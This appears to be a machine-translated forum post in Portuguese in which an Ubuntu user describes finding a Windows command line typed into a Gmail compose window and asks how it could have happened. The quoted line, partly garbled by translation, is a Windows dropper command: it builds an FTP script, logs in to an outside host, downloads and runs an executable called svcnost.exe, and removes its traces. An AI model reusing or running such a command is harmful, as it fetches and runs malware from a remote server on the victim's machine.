Meu PC doméstico geralmente está ligado, mas o monitor está desligado. Esta noite cheguei em casa do trabalho e descobri o que parece ser uma tentativa de invasão: no meu navegador, meu Gmail estava aberto (era eu), mas estava no modo de composição com o seguinte no TOcampo:
md / c echo open cCTeamFtp.yi.org 21 >> usuário de ik e eco ccteam10 765824 >> binário de ik e eco >> binário de ik e eco >> obtenha svcnost.exe >> ik e eco bye >> ik e eco bye >> ik e ftp -n -v -s: ik e del ik & svcnost.exe & exit echo Você pertence
Parece-me o código de linha de comando do Windows e o mdinício do código combinado ao fato de o Gmail estar no modo de composição torna evidente que alguém tentou executar um cmdcomando. Acho que tive sorte de não executar o Windows neste PC, mas tenho outros que o fazem. É a primeira vez que algo assim acontece comigo. Eu não sou um guru do Linux e não estava executando nenhum outro programa além do Firefox na época.
Tenho certeza absoluta de que não escrevi isso e ninguém mais estava fisicamente no meu computador. Além disso, recentemente mudei minha senha do Google (e todas as minhas outras senhas) para algo assim, vMA8ogd7bvpara que eu não ache que alguém tenha invadido minha conta do Google.
O que acabou de acontecer? Como alguém pressiona as teclas do meu computador quando não é a antiga máquina Windows da avó que executa malware há anos, mas uma recente instalação recente do Ubuntu?
Atualização:
Deixe-me abordar alguns dos pontos e perguntas:
- Estou na Áustria, no campo. Meu roteador WLAN executa o WPA2 / PSK e uma senha de segurança média que não está no dicionário; teria que ter força bruta e a menos de 50 metros daqui; não é provável que tenha sido hackeado.
- Estou usando um teclado com fio USB, então é muito improvável que alguém possa estar ao alcance para invadir.
- Eu não estava usando meu computador na época; só estava ocioso em casa enquanto eu estava no trabalho. É um PC nettop montado em monitor, por isso raramente o desligo.
- A máquina tem apenas dois meses, apenas roda o Ubuntu e não estou usando software estranho ou visitando sites estranhos. É principalmente Stack Exchange, Gmail e jornais. Sem jogos. O Ubuntu está definido para se manter atualizado.
- Não conheço nenhum serviço VNC em execução; Certamente não instalei ou habilitei um. Também não iniciei outros servidores. Não tenho certeza se algum está sendo executado no Ubuntu por padrão?
- Conheço todos os endereços IP na atividade da conta do Gmail. Tenho certeza de que o Google não era uma entrada.
- Encontrei um visualizador de arquivos de log , mas não sei o que procurar. Socorro?
O que realmente quero saber é, e o que realmente me faz sentir inseguro, é: como alguém da Internet pode gerar pressionamentos de tecla na minha máquina? Como posso evitar isso sem ser totalmente estúpido? Eu não sou um geek do Linux, sou um pai que mexe no Windows há mais de 20 anos e está cansado disso. E em todos os mais de 18 anos em que estou online, nunca vi pessoalmente nenhuma tentativa de hack, então isso é novo para mim.
password:-)